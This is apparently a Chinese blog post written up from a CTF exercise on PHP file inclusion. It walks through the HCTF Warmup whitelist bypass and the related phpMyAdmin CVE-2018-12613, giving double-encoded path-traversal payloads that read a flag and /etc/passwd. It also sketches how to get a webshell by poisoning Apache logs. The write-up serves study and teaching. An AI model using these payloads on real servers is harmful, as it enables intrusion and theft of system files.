文件包含

蒻姬我最开始接触这个 是一道 buuoj 的 web 签到题
HCTF Warmup
进入靶机,查看源代码


<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!--source.php--> <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body> </html>

划重点
进入这个 php 源

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

再次划重点


if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

有思路了

只要通过这个判断就会执行 file 传递的参数的文件,想到可能时任意文件包含。

通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
* 再看 if 中的判断,file 参数不为空&&是个字符串&&通过 checkFile 方法的检验。去看 checkFIle 方法。

public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

看,hint.php 在白名单里!

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }






进入 hint.php 看到这样一行提示
flag not here, and flag in ffffllllaaaagggg

再回想前面条件,首先必须存在并且是字符串

(必须使函数返回为 true 才能访问文件)

if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;

然后判断参数是否在白名单中;

mb_strpos() 的作用是查找字符串在另一个字符串中首次出现的位置, 即?在前面字符串中出现的位置

而 mb_substr() 用以截断字符串。

然后和白名单比较。
又重复了一次上面的操作。

这个涉及到 phpMyAdmin 的一个洞 CVE-2018-12613,由于 PHP 会自动 urldecode 一次,导致我们提交%253f(? 的 urlencode 的 urlencode)的时候自动转成%3f,满足 if 条件,%253f/就会被认为是一个目录,从而 include。就有了下面的转化

? –> %3f –> %253f

payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg

关于 cve-2018-12613-PhpMyadmin 后台文件包含

2018 年 6 月 19 日,phpmyadmin 在最新版本修复了一个严重级别的漏洞.

https://www.phpmyadmin.net/security/PMASA-2018-4/

官方漏洞描述是这样的

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the
“$cfg[‘AllowArbitraryServer’] = true” case (where an attacker can specify any host he/she is already in control of,
and execute arbitrary code on phpMyAdmin) and the “$cfg[‘ServerDefault’] = 0” case (which bypasses the login
requirement and runs the vulnerable code without any authentication).

问题在 index.php 的 55~63:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里对于参数共有 5 个判断,判断通过就可以通过 Include 包含文件

问题出在后两个上

$target_blacklist = array (
    'import.php', 'export.php'
);

以及
Core::checkPageValidity($_REQUEST[‘target’]):

代码在 libraries\classes\Core.php 的 443~476:

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

看,这跟上面的代码几乎是一个模子里刻出来的

然后康康验证的白名单 whitelist
“`php
public static $goto_whitelist = array(
‘db_datadict.php’,
‘db_sql.php’,
‘db_events.php’,
‘db_export.php’,
‘db_importdocsql.php’,
‘db_multi_table_query.php’,
‘db_structure.php’,
‘db_import.php’,
‘db_operations.php’,
‘db_search.php’,
‘db_routines.php’,
‘export.php’,
‘import.php’,
‘index.php’,
‘pdf_pages.php’,
‘pdf_schema.php’,
‘server_binlog.php’,
‘server_collations.php’,
‘server_databases.php’,
‘server_engines.php’,
‘server_export.php’,
‘server_import.php’,
‘server_privileges.php’,
‘server_sql.php’,
‘server_status.php’,
‘server_status_advisor.php’,
‘server_status_monitor.php’,
‘server_status_queries.php’,
‘server_status_variables.php’,
‘server_variables.php’,
‘sql.php’,
‘tbl_addfield.php’,
‘tbl_change.php’,
‘tbl_create.php’,
‘tbl_import.php’,
‘tbl_indexes.php’,
‘tbl_sql.php’,
‘tbl_export.php’,
‘tbl_operations.php’,
‘tbl_structure.php’,
‘tbl_relation.php’,
‘tbl_replace.php’,
‘tbl_row_action.php’,
‘tbl_select.php’,
‘tbl_zoom_select.php’,
‘transformation_overview.php’,
‘transformation_wrapper.php’,
‘user_password.php’,
);


之后 phpMyAdmin 的开发团队考虑到了 target 后面加参数的情况,**通过字符串分割将问号的前面部分取出**,继续匹配白名单,然后经过一遍 urldecode 后再重复动作。 得到 payload ```php target=db_datadict.php%253f/../../../../../../../../etc/passwd

此处再次分析胡扯文件包含漏洞的具体产生原因

  • 程序员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,文件调用的过程一般被称为文件包含
  • 他们希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
  • 但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
  • 几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多而在 JSP、ASP、程序中却非常少,甚至没有,这是本身语言设计的弊端 (猜测

Getshell

  • 上传图片 GETshell
  • 读取文件,读取 php 文件
  • 包含日志文件获取 webshell
  1. 首先找到文件存放位置
    有权限读取 apache 配置文件或是/etc/init.d/httpd
    默认位置/var/log/httpd/access_log

  2. 让日志文件插入 php 代码
    发送 url 请求时后插入 php 代码,一般使用 burp suite 抓包修改
    curl 发包
    插入到 get 请求,或是 user-agent 部分

  3. 包含日志文件(必须要权限包含)

举个栗子

if (isset($_GET[page])) {
include $_GET[page];
} else {
include "hint.PHP";
}

其中 $_GET[page] 使用户可以控制变量。如果没有严格的过滤就导致漏洞的出现

代码审计

包含文件的函数
– include()
– include_once()
– require()
– require_once()

参考链接 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613


暂停一下,摸鱼去了
明天再更 qwq

分类: 文章

0 条评论

发表回复

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用 * 标注